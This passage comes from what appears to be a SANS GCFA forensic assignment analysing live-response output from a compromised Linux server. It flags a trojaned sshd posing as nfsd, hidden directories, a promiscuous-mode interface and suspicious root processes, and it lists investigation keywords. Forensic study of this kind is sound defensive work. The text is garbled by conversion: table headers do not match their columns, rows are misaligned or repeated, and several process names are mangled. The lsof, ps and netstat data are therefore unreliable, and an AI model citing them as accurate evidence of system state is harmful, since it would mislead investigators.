<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>sock</td>
<td>0,0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>53319 /tmp:/s</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>DIR</td>
<td>3,5</td>
<td>2048</td>
<td>490961 /bin</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>1729</td>
<td>44202 /var/log/httpd/error_log</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>IPV4</td>
<td>361623</td>
<td>550563 can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>TCP</td>
<td></td>
<td></td>
<td>*:https (LISTEN)</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>IPV4</td>
<td>361624</td>
<td>550563 can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>cwd</td>
<td>3,5</td>
<td>1024</td>
<td>55343 /x</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>rtd</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>36415</td>
<td>55345 /x/popauth</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>sock</td>
<td>0,0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>CHR</td>
<td>1,3</td>
<td></td>
<td>9637 /dev/null</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>CHR</td>
<td>1,3</td>
<td></td>
<td>9637 /dev/null</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>sock</td>
<td>0,0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>FIFO</td>
<td>0,5</td>
<td></td>
<td>551501 pipe</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>FIFO</td>
<td>0,5</td>
<td></td>
<td>551501 pipe</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>IPV4</td>
<td>551503</td>
<td>550563 can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>IPV4</td>
<td>361623</td>
<td>550563 can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>IPV4</td>
<td>361624</td>
<td>550563 can't identify protocol</td>
<td></td>
</tr>
</tbody>
</table>

* Minilogs are waiting on http & https
* Weit is a file of interest
* Popauth is a hidden directory

Kevin Miller - Sans GCFA Assignment – v1.4
| File path of interest | Waiting on http & https | File & path of interest | Waiting on https | Waiting on http | File & path of interest |
The ps.txt output was examined looking for suspicious processes especially those that had already been identified. The suspicious processes minilogd, weit, popauth and nfsd were all started on Jun 29. The nfsd processes line was very suspicious, the line was:

"/usr/sbin/nfsd -f /sbin/sshd_config"

The sshd_config file is the configuration file for secure shell (ssh) a program used to allow secure, encrypted remote terminal access. The sshd_config file was located in the /sbin directory and was flagged a suspicious file. Another file of interest was located in the /bin directory called hostname. The apache process had a large number of suspicious processes. Table 7 shows the suspicious processes started on Jun 29.
<table>
<thead>
<tr>
<th>User</th>
<th>PID</th>
<th>Priority</th>
<th>SessionID</th>
<th>PID Limit</th>
<th>IR</th>
<th>Start Time</th>
<th>Command Line</th>
<th>remarks</th>
</tr>
</thead>
<tbody>
<tr>
<td>apache</td>
<td>19365</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1256</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19366</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1248</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19367</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19368</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19369</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19370</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19371</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19372</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19373</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19374</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19375</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19376</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>01:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19635</td>
<td>0</td>
<td>0.3</td>
<td>5648</td>
<td>416</td>
<td>01:00</td>
<td>minilogd</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19678</td>
<td>0</td>
<td>0.1</td>
<td>1336</td>
<td>200</td>
<td>01:00</td>
<td>/usr/bin/weit</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19685</td>
<td>0</td>
<td>0</td>
<td>48</td>
<td>8</td>
<td>01:00</td>
<td>popauth</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19686</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>01:00</td>
<td>[weit &lt;defunct&gt;]</td>
<td></td>
</tr>
</tbody>
</table>
The `lsmod.txt` file was analysed to look at what kernel modules were loaded. A module that required further investigation was `nls_iso8859-1`.

The `netstat-routes.txt` file showed no added routes. The `ifconfig.txt` file did show the `eth0` interface in promiscuous mode. This is an indication of a possible sniffer program.

Analysis of the `proc-filelist.txt` file provided little benefit. The command used was a directory listing using `ls -al` of the `/proc` filesystem. The command should have included the command switch for recursive listing of the `/proc` file system, the correct command is `ls -alR`. The second last command indicated the date the live response was completed and the final command was an MD5 checksum run on all of the `*.txt` files on the response system.

The live response provided valuable keywords to use in EnCase and a date and time to focus on. Below is a list of keywords taken from the interesting or suspicious events from the live response:

```
nfsd
popauth
.s
soundcore
XXX.XXX.2.23
weit
minilogd
sshd_config
nls_iso8859-1
6660
6667
```

The date of interest is June 29, 2003 and paths to investigate from live response output are:

```
/tmp/.s
```
/.x
/usr/bin
/usr/sbin
/sbin
Live response

File listings

starttime.txt

Mon Jun 30 17:18:51 CST 2003

w.txt

5:22pm up 7 days, 5:24, 4 users, load average: 0.16, 0.03, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 7days 0.00s ? -
userid1 pts/1 - 23Jun03 38:58 0.22s 0.00s ls <defunct>
userid1 pts/2 - Fri 8am 4.00s 0.71s 0.01s /mnt/cdrom/nc 1
userid1 pts/3 - 4:44pm 38:14 0.15s 0.07s -bash

netsat-sockets.txt

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:1024 0.0.0.0:* LISTEN 657/rpc.statd
tcp 0 0 0.0.0.0:199 0.0.0.0:* LISTEN 8154/snmpd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 8125/httpd
udp 0 0 0.0.0.0:1031 0.0.0.0:* 19941/services
udp 0 0 0.0.0.0:1032 0.0.0.0:* 19941/services
udp 0 0 0.0.0.0:161 0.0.0.0:* 8154/snmpd
udp 0 0 0.0.0.0:3049 0.0.0.0:* 19685/popauth
udp 0 0 192.168.2.15:123 192.168.1.254:* ESTABLISHED 790/ntpd
udp 0 0 0.0.0.0:123 0.0.0.0:* 790/ntpd
udp 0 0 0.0.0.0:6 0.0.0.0:* 790/ntpd
raw 0 0 0.0.0.0:6 0.0.0.0:* 790/ntpd

Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 1638 935/gpm /dev/gpmctl
unix 2 [ ACC ] STREAM LISTENING 55128 19635/minilogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 1704 1005/xfs /tmp/.font/unix/fs7100
unix 2 [ ACC ] STREAM LISTENING 2256 1192/artsd /tmp/mcop-userid1/rh-04a8-3ef74460
unix 2 [ ACC ] STREAM LISTENING 1789 1066/X /tmp/X11-unix/X0
unix 2 [ ACC ] STREAM LISTENING 2158 1178/kdeinit:dcops /tmp/ICE-unix/dcop1178-1055392280
unix 2 [ ACC ] STREAM LISTENING 2285 1210/kdeinit:kmse /tmp/ICE-unix/1210
unix 2 [ ACC ] STREAM LISTENING 2151 1175/kdeinit:Runni /tmp/ksocket-
useri1/kdeinit:-0
unix 2 [ ACC ] STREAM LISTENING 2182 1181/kdeinit:kaun /tmp/ksocket-
useri1/klauncherReadBda6a_slave-socket
unix 2 [ ACC ] STREAM LISTENING 280021 6135/kdesud /tmp/ksocket-
userid1/kdesud:-0
unix 3 [ ] STREAM CONNECTED 715235 1178/kdeinit:dcops /tmp/ICE-unix/dcop1178-1055392280
unix 3 [ ] STREAM CONNECTED 715234 29110/cdrom
unix 3 [ ] STREAM CONNECTED 715231 1210/kdeinit:kmse /tmp/ICE-unix/1210
unix 3 [ ] STREAM CONNECTED 715230 29110/cdrom
unix 3 [ ] STREAM CONNECTED 715226 1066/X /tmp/X11-unix/X0
unix 3 [ ] STREAM CONNECTED 2175 1181/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2169 1181/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2168 1175/kdeinit: Runni
unix 3 [ ] STREAM CONNECTED 1801 1005/xfs /tmp/.font
unix 2 [ ] DGRAM 1800 1066/X /tmp/.X11
unix 2 [ ] DGRAM 1803 1066/X /tmp/.X11
unix 3 [ ] STREAM CONNECTED 1794 1067/0
unix 2 [ ] DGRAM 1714 1005/xfs
unix 2 [ ] DGRAM 1661 953/crond
unix 2 [ ] DGRAM 1621 916/sendmail: accept
unix 2 [ ] DGRAM 1548 875/xinetd
unix 2 [ ] DGRAM 1505 790/ntpd
unix 2 [ ] DGRAM 1264 770/apmd
unix 2 [ ] DGRAM 1124 657/rpc.statd

lsof.txt

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PID</th>
<th>USER</th>
<th>FD</th>
<th>TYPE</th>
<th>DEVICE</th>
<th>SIZE</th>
<th>NODE NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>26920</td>
<td>/sbin/init</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td></td>
<td>15606/dev/initctl</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td>15606/dev/initctl</td>
<td></td>
</tr>
<tr>
<td>kapmd</td>
<td>3</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>kapmd</td>
<td>3</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>ksftird</td>
<td>3</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td>15606/dev/initctl</td>
<td></td>
</tr>
<tr>
<td>ksftird</td>
<td>4</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>ksftird</td>
<td>4</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td>15606/dev/initctl</td>
<td></td>
</tr>
<tr>
<td>bdfflush</td>
<td>6</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>bdfflush</td>
<td>6</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>bdfflush</td>
<td>6</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td>15606/dev/initctl</td>
<td></td>
</tr>
</tbody>
</table>
kupdated  7  root  cwd  DIR  3,5  1024  2  /  
kupdated  7  root  rtd  DIR  3,5  1024  2  /  
mdrecover  8  root  cwd  DIR  3,5  1024  2  /  
mdrecover  8  root  rtd  DIR  3,5  1024  2  /  
mdrecover  8  root  10u  FIFO  3,5  15606  /dev/initctl  
kjournald  12  root  cwd  DIR  3,5  1024  2  /  
kjournald  12  root  rtd  DIR  3,5  1024  2  /  
kjournald  12  root  10u  FIFO  3,5  15606  /dev/initctl  
khubd  91  root  cwd  DIR  3,5  1024  2  /  
khubd  91  root  rtd  DIR  3,5  1024  2  /  
khubd  91  root  10u  FIFO  3,5  15606  /dev/initctl  
khubd  91  root  txt  REG  3,5  28040  71832  /sbin/rpc.statd  
rpc.statd  657  root  txt  REG  3,2  16488  130672  /usr/sbin/apmd  
rpc.statd  657  root  mem  REG  3,5  89547  63490  /lib/ld-2.2.5.so  
rpc.statd  657  root  mem  REG  3,5  1401027  73730  /lib/i686/libc-2.2.5.so  
rpc.statd  657  root  0u  CHR  1,3  9637  /dev/null  
rpc.statd  657  root  1u  CHR  1,3  9637  /dev/null  
rpc.statd  657  root  2u  CHR  1,3  9637  /dev/null  
rpc.statd  657  root  txt  REG  3,2  1124  can't identify protocol  
rpc.statd  657  root  3u  unix  Oxc7745040  1124  socket  
sshd  842  root  cwd  DIR  3,5  1024  2  /  
sshd  842  root  rtd  DIR  3,5  1024  2  /  
sshd  842  root  txt  REG  3,2  260616  131777  /usr/sbin/sshd  
sshd  842  root  mem  REG  3,5  89547  63490  /lib/ld-2.2.5.so  
sshd  842  root  mem  REG  3,5  35340  63567  /lib/libpam.so.0.75  
sshd  842  root  mem  REG  3,5  12102  63503  /lib/libdl-2.2.5.so  
sshd  842  root  mem  REG  3,5  11174  63541  /lib/libutil-2.2.5.so  
sshd  842  root  mem  REG  3,5  924879  63562  /lib/libcrypto.so.0.9.6b
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Service</th>
<th>User</th>
<th>Flags</th>
<th>PID</th>
<th>Method</th>
<th>Address</th>
<th>Environment</th>
</tr>
</thead>
<tbody>
<tr>
<td>sshd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>sshd</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sshd</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sshd</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sshd</td>
<td>root</td>
<td>3u</td>
<td>IPv4</td>
<td>1508</td>
<td>TCP *:ssh (LISTEN)</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Service</th>
<th>User</th>
<th>Flags</th>
<th>PID</th>
<th>Method</th>
<th>Address</th>
<th>Environment</th>
</tr>
</thead>
<tbody>
<tr>
<td>xinetd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>txt</td>
<td>DIR</td>
<td>3,2</td>
<td>131388</td>
<td>/usr/sbin/xinetd</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Service</th>
<th>User</th>
<th>Flags</th>
<th>PID</th>
<th>Method</th>
<th>Address</th>
<th>Environment</th>
</tr>
</thead>
<tbody>
<tr>
<td>sendmail</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,6</td>
<td>1024</td>
<td>34139 /var/spool/mqueue</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>txt</td>
<td>DIR</td>
<td>3,2</td>
<td>451280</td>
<td>/usr/sbin/sendmail.sendmail</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Service</th>
<th>User</th>
<th>Flags</th>
<th>PID</th>
<th>Method</th>
<th>Address</th>
<th>Environment</th>
</tr>
</thead>
<tbody>
<tr>
<td>sendmail</td>
<td>root</td>
<td>0r</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>2w</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
</tbody>
</table>

- sendmail 916 root mem REG 3,2 13600 /usr/lib/sasl/libplain.so.1.0.14
- sendmail 916 root mem REG 3,2 33529 /usr/lib/sasl/libdigestmd5.so.0.0.17
- sendmail 916 root mem REG 3,2 45415 /lib/libnss_files-2.2.5.so
- sendmail 916 root mem REG 3,5 1401027 /lib/i686/libc-2.2.5.so

<table>
<thead>
<tr>
<th>Service</th>
<th>User</th>
<th>Flags</th>
<th>PID</th>
<th>Method</th>
<th>Address</th>
<th>Environment</th>
</tr>
</thead>
<tbody>
<tr>
<td>sendmail</td>
<td>root</td>
<td>0r</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>2w</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
</tbody>
</table>

- sendmail 916 root 3u unix Dcc7ce65a0 1548 Dcc7ce65a0 getty (LISTEN)
crond 953 root 1w FIFO 0,5 1657 pipe
crond 953 root 2w FIFO 0,5 1658 pipe
crond 953 root 3u REG 3,6 4 38176 /var/run/crond.pid
crond 953 root 4u unix Oxc6b8b0c0 1661 socket
xfs 1005 root cwd DIR 3,5 1024 2 /
xfs 1005 root rtd DIR 3,5 1024 2 /
xfs 1005 root txt REG 3,2 72664 114952 /usr/X11R6/bin/xfs
xfs 1005 root mem REG 3,5 45415 63523 /lib/ld-2.2.5.so
xfs 1005 root mem REG 3,5 173359 73732 /lib/libnss_files-2.2.5.so
xfs 1005 root mem REG 3,5 94924 63507 /lib/libnss_nisplus-2.2.5.so
xfs 1005 root mem REG 3,5 1401027 73730 /lib/libnsl-2.2.5.so
xfs 1005 root mem REG 3,5 89424 63507 /lib/libnss_nisplus-2.2.5.so
xfs 1005 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
xfs 1005 root mem REG 3,2 475692 16955 /usr/X11R6/lib/libXfont.so.1.4
xfs 1005 root mem REG 3,2 475692 16955 /usr/X11R6/lib/libXfont.so.1.4
xfs 1005 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
xfs 1005 root mem REG 3,5 89424 63507 /lib/libnss_nisplus-2.2.5.so
xfs 1005 root mem REG 3,2 475692 16955 /usr/X11R6/lib/libXfont.so.1.4
xfs 1005 root mem REG 3,2 475692 16955 /usr/X11R6/lib/libXfont.so.1.4
xfs 1005 root mem REG 3,5 1401027 73730 /lib/libnsl-2.2.5.so
xfs 1005 root mem REG 3,5 1401027 73730 /lib/libnsl-2.2.5.so
xfs 1005 root mem REG 3,5 1401027 73730 /lib/libnsl-2.2.5.so
xfs 1005 root mem REG 3,5 1401027 73730 /lib/libnsl-2.2.5.so
atd 1041 root cwd DIR 3,6 1024 56225 /var/spool/at
atd 1041 root rtd DIR 3,5 1024 2 /
atd 1041 root txt REG 3,2 14776 130516 /usr/sbin/atd
atd 1041 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
atd 1041 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
atd 1041 root mem REG 3,5 1401027 73730 /lib/libnss_files-2.2.5.so
atd 1041 root 0u CHR 1,3 9637 /dev/null
atd 1041 root 1u CHR 1,3 9637 /dev/null
atd 1041 root 2u CHR 1,3 9637 /dev/null
atd 1041 root 3u REG 3,6 6 38177 /var/run/atd.pid
mingetty 1050 root cwd DIR 3,5 1024 2 /
ingetty 1050 root rtd DIR 3,5 1024 2 /
ingetty 1050 root txt REG 3,5 14136 71701 /sbin/mingetty
mingetty 1050 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
mingetty 1050 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
mingetty 1050 root mem REG 3,5 1401027 73730 /lib/libnss_files-2.2.5.so
mingetty 1050 root 0u CHR 4,1 14414 /dev/tty1
mingetty 1050 root 1u CHR 4,1 14414 /dev/tty1
mingetty 1050 root 2u CHR 4,1 14414 /dev/tty1
mingetty 1051 root cwd DIR 3,5 1024 2 /
ingetty 1051 root rtd DIR 3,5 1024 2 /
ingetty 1051 root txt REG 3,5 14136 71701 /sbin/mingetty
mingetty 1051 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
mingetty 1051 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
mingetty 1051 root mem REG 3,5 1401027 73730 /lib/libnss_files-2.2.5.so
mingetty 1051 root 0u CHR 4,2 14425 /dev/tty2
mingetty 1051 root 1u CHR 4,2 14425 /dev/tty2
mingetty 1051 root 2u CHR 4,2 14425 /dev/tty2
mingetty 1052 root cwd DIR 3,5 1024 2 /
ingetty 1052 root rtd DIR 3,5 1024 2 /
ingetty 1052 root txt REG 3,5 14136 71701 /sbin/mingetty
mingetty 1052 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
mingetty 1052 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
mingetty 1052 root mem REG 3,5 1401027 73730 /lib/libnss_files-2.2.5.so
mingetty 1052 root 0u CHR 4,3 14436 /dev/tty3
mingetty 1052 root 1u CHR 4,3 14436 /dev/tty3
mingetty 1052 root 2u CHR 4,3 14436 /dev/tty3
mingetty 1053 root cwd DIR 3,5 1024 2 /
ingetty 1053 root rtd DIR 3,5 1024 2 /
ingetty 1053 root txt REG 3,5 14136 71701 /sbin/mingetty
mingetty 1053 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
mingetty 1053 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
mingetty 1053 root mem REG 3,5 1401027 73730 /lib/libnss_files-2.2.5.so
mingetty 1053 root 0u CHR 4,4 14439 /dev/tty4
mingetty 1053 root 1u CHR 4,4 14439 /dev/tty4
mingetty 1053 root 2u CHR 4,4 14439 /dev/tty4
mingetty 1054 root cwd DIR 3,5 1024 2 /
ingetty 1054 root rtd DIR 3,5 1024 2 /
ingetty 1054 root txt REG 3,5 14136 71701 /sbin/mingetty
mingetty 1054 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
mingetty 1054 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
mingetty 1054 root mem REG 3,5 1401027 73730 /lib/libnss_files-2.2.5.so
mingetty 1054 root 0u CHR 4,5 14440 /dev/tty5
mingetty 1054 root 1u CHR 4,5 14440 /dev/tty5
mingetty 1054 root 2u CHR 4,5 14440 /dev/tty5
mingetty 1054 root 2u CHR 4,5 14440 /dev/tty5
mingetty 1055 root cwd DIR 3,5 1024 2 /
ingetty 1055 root rtd DIR 3,5 1024 2 /
ingetty 1055 root txt REG 3,5 89547 63490 /lib/ld-2.2.5.so
mingetty 1055 root mem REG 3,5 141027 73730 /lib/i686/libc-2.2.5.so
mingetty 1055 root 0u CHR 4,6 14441 /dev/tty6
mingetty 1055 root 1u CHR 4,6 14441 /dev/tty6
mingetty 1055 root 2u CHR 4,6 14441 /dev/tty6
kdm 1056 root cwd DIR 3,5 1024 2 /
kdm 1056 root rtd DIR 3,5 1024 2 /
kdm 1056 root txt REG 3,2 83400 33562 /usr/bin/kdm
kdm 1056 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
kdm 1056 root mem REG 3,2 874476 16985 /usr/X11R6/lib/libX11.so.6.2
kdm 1056 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
kdm 1056 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
